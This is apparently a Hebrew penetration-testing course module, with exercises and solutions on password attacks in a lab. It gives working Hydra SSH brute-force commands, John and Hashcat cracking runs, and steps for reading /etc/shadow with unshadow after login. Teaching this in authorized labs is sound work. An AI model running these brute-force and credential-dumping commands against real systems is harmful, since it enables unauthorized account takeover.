

מודול 8 — מתקפות סיסמאות — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 8: מתקפות סיסמאות
2.  פתרונות מלאים — מודול 8: מתקפות סיסמאות

תרגילים — מודול 8: מתקפות סיסמאות 🎯

⚠️ רק על מכונות המעבדה שלך (Metasploitable / מכונות תרגול). מתקפות מקוונות רועשות ונועלות חשבונות — לעולם לא על יעד לא-מורשה. פתרונות ב- `solutions.md`.

🚦 לפני שמתחילים — קרא אותי!

- מה צריך: Kali (יש בו את כל הכלים: hashid, john, hashcat, hydra). לחלק המקוון — מכונת יעד כמו Metasploitable על אותה רשת.
- ☁️ אין מכונת יעד? תרגילי הסדיקה הלא-מקוונת (Hashes, John, Hashcat) רצים כולם על Kali לבד. לחלק המקוון (Hydra) — חדר חינמי ב-TryHackMe כמו “Crack the Hash” (offline) או “Hydra” (online).
- איך עובדים: קרא קודם את ה-`README.md`. למשימות הקלות (🟡🟢) יש פקודה מדויקת + מה לחפש; לקשות 💡 רמז ו-✅ קריטריון.
- נתקעת? סדיקה נכשלת? ודא שסוג ה-Hash (`--format / -m`) נכון ושה-wordlist קיים. נסה, ואז הצץ ב- `solutions.md`.
- טיפ: רוב הסיסמאות ה”פרוצות” פשוט נמצאות ב-rockyou. זיהוי נכון של סוג ה-Hash הוא חצי מהעבודה.

מקרא רמות: 🟢 קל · 🟡 בינוני · 🟠 מתקדם · 🔴 אתגר

חלק א' — Wordlists-1 Hashes (🟡🟢)

8.1 🟢 — מצא את `rockyou.txt`, חלץ אם דחוס, וספור סיסמאות.

```
ls -l /usr/share/wordlists/  
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # אם .gz  
wc -l /usr/share/wordlists/rockyou.txt
```

👁️ חפש: המספר מ-`wc -l` (~14 מיליון). ✅ הצלחה: הקובץ מחולץ ואתה יודע כמה סיסמאות בו.

8.2 🟢 — זהה את סוג ה-Hash.

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
```

👁️ **חפש:** ההצעות של hashid — הראשונה הסבירה היא MD5 (32 תווי hex).  הצלחה: זיהית שזה MD5.

8.3  — התקן את seclists. איפה הוא מותקן ואילו רשימות הוא כולל?

```
sudo apt install seclists -y  
ls /usr/share/seclists/
```

 הצלחה: seclists מותקן; ראית תיקיות כמו Passwords, Usernames, Discovery.

חלק ב' — סדיקה לא-מקוונת (🟡🟡)

8.4  — שמור את ה-Hash של password (MD5) וסדוק עם John.

```
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt  
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
john --show --format=raw-md5 hash.txt
```

👁️ **חפש:** John ידפיס password כסיסמה שנסדקה.  הצלחה: קיבלת את הסיסמה password.

8.5  — סדוק את אותו Hash עם Hashcat (-m 0).

```
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt  
hashcat -m 0 --show hash.txt
```

💡 רמז: -m 0 =wordlist= -a 0, MD5, (אם רץ ב-VM ומתלונן על GPU: הוסף --force).  הצלחה: Hashcat הראה את הסיסמה. השווית את החוויה מול John.

8.6  — צור משתמש בדיקה, בצע unshadow, וסדוק עם John. 💡 רמז: §8.5 unshadow README.  הצלחה: John סדק את סיסמת משתמש הבדיקה.

חלק ג' — סדיקה מקוונת (🟡)

8.7 — Brute Force ל-Ssh על Metasploitable עם Hydra.

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://<target-ip> -t 4
```

👁️ **הפש:** שורה עם `login: msfadmin password: ...` — זו הסיסמה. ✅ הצלחה: Hydra מצא את הסיסמה.

💡 **8.8** — הסבר מה עושה כל חלק ב- `hydra -l admin -P rockyou.txt ssh://10.0.0.5 -t 4`.
רמז: §8.4 README. ✅ הצלחה: `-l` = משתמש, `-P` = wordlist, `ssh://` = שירות+יעד, `-t 4` = 4 חוטים במקביל (מאט כדי לא לנעול).

חלק ד' — מתקפות רוחביות (מתקדם) 🟡

8.9 — הסבר את ההבדל בין Brute Force, Password Spraying ו-Credential Stuffing. מתי תבחר Spraying, ולמה? 💡 רמז: §8.7 README. ✅ הצלחה: Spraying = סיסמה אחת נגד הרבה משתמשים (נמנע מנעילת חשבון) — בוחרים כשיש הרבה משתמשים ורוצים לא לעורר חשד.

אתגר מסכם — “מפרטי גישה לשליטה” 🔴

תרחיש משולב (מודולים 5 → 6 → 8):
1. **מנייה:** על מכונת מעבדה, מצא שירות עם התחברות (SSH/FTP) ושם משתמש (מ-enum4linux/מנייה).
2. **תקיפה מקוונת:** הרץ Hydra עם wordlist מתאים ומצא סיסמה. 3. **גישה:** התחבר עם הפרטים (`ssh user@target`).
4. **סדיקה לא-מקוונת:** לאחר גישה, השג `/etc/shadow`, בצע `unshadow`, וסדוק עם John/Hashcat. 5. **תיעוד:** רשום — איזה משתמש, איזו סיסמה, באיזה כלי, וכמה זמן. **המלץ תיקון** (MFA / מדיניות סיסמאות).

💡 רמז: כל שלב מבוסס על תרגילים 8.1–8.8. פתרון מלא ב- `solutions.md`. ✅ הצלחה: התחברת עם סיסמה שסדקת, ושלפת Hashes נוספים מהמכונה.

📦 שרשרת זו — משתמש → סיסמה → גישה → Hashes נוספים — היא בדיוק מה שקורה בבדיקה פנימית.

רשימת בקרה — לפני מעבר למודול 9 ✅

- ☐ אני מזהה סוגי Hash (hashid) ומוצא/מחלץ wordlists
- ☐ אני סודק Hashes עם John ועם Hashcat (ומבין -m)
- ☐ אני מבצע unshadow וסודק סיסמאות Linux

- ☐ אני מריץ Brute Force מקוון עם Hydra (SSH/FTP/web)
- ☐ אני מבין Spraying מול Stuffing מול Brute Force
- ☐ אני יודע להמליץ הגנות (MFA, נעילה, Hashing חזק)

פתרונות מלאים: [solutions.md](#)

פתרונות מלאים — מודול 8: מתקפות סיסמאות

נסה לבד ב- [missions.md](#) קודם.

חלק א' — Wordlists-1 Hashes

8.1

```
ls -lh /usr/share/wordlists/  
sudo gunzip /usr/share/wordlists/rockyou.txt.gz    # אם דחוס  
wc -l /usr/share/wordlists/rockyou.txt             # → 14,344,392
```

8.2

```
hashid '5f4dcc3b5aa765d61d8327deb882cf99'  
# → MD5 (בין השאר). "password" של המחרוזת Hash-זהו ה.
```

8.3

```
sudo apt install seclists -y  
ls /usr/share/seclists/      # Passwords, Usernames, Discovery, Fuzzing...
```

חלק ב' — סדיקה לא-מקוונת

8.4

```
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt  
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
john --show --format=raw-md5 hash.txt      # → password
```

8.5

```
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat --show -m 0 hash.txt # → ...:password
```

Hashcat דורש ציון mode מדויק (MD5= -m 0) אך מהיר בהרבה (GPU); John נוח ואוטומטי יותר.

8.6

```
sudo useradd -m testy && echo 'testy:Summer2024' | sudo chpasswd
sudo unshadow /etc/passwd /etc/shadow > crack.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
john --show crack.txt
```

חלק ג' — סדיקה מקוונת

8.7

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://<metasploitable-ip> -t 4
# "msfadmin" היא הסיסמה של Metasploitable ב
```

8.8 — -l admin = שם משתמש יחיד · -P rockyou.txt = קובץ סיסמאות · ssh://10.0.0.5 = פרוטוקול+יעד · -t 4 = 4 חוטים במקביל (מאט את הקצב, פחות נעילות).

חלק ד' — מתקפות רוחביות

8.9 — **Brute Force** — הרבה סיסמאות נגד משתמש אחד; רועש, נועל חשבונות. - **Password Spraying** — סיסמה אחת נפוצה נגד הרבה משתמשים; ניסיון אחד לכל חשבון → **נמנע מנעילה**. - **Credential Stuffing** — פרטים שדלפו נגד מערכות אחרות (מיחזור סיסמאות). תבחר **Spraying** כשיש מדיניות נעילת חשבונות — כי ניסיון בודד לכל משתמש לא מפעיל את הנעילה, ומספיק משתמש אחד עם Winter2024!

```
# 1-2. מנייה + תקיפה מקוונת
enum4linux -a <ip> # → משתמש: msfadmin
hydra -l msfadmin -P rockyou.txt ssh://<ip> -t 4 # → סיסמה: msfadmin
# 3. גישה
ssh msfadmin@<ip>
# 4. סדיקה לא-מקוונת (אם יש הרשאות)
sudo unshadow /etc/passwd /etc/shadow > c.txt
john --wordlist=/usr/share/wordlists/rockyou.txt c.txt
```

תיעוד לדוגמה:

High: חומרה – SSH (msfadmin:msfadmin) -ממצא: סיסמה חלשה ל
PoC: Hydra מצא את הסיסמה תוך שניות; התחברות
נעילת חשבון אחרי 5 ניסיונות + MFA + תיקון: אכזריות מדיניות סיסמאות חזקה

עברת? המשך למודול 9.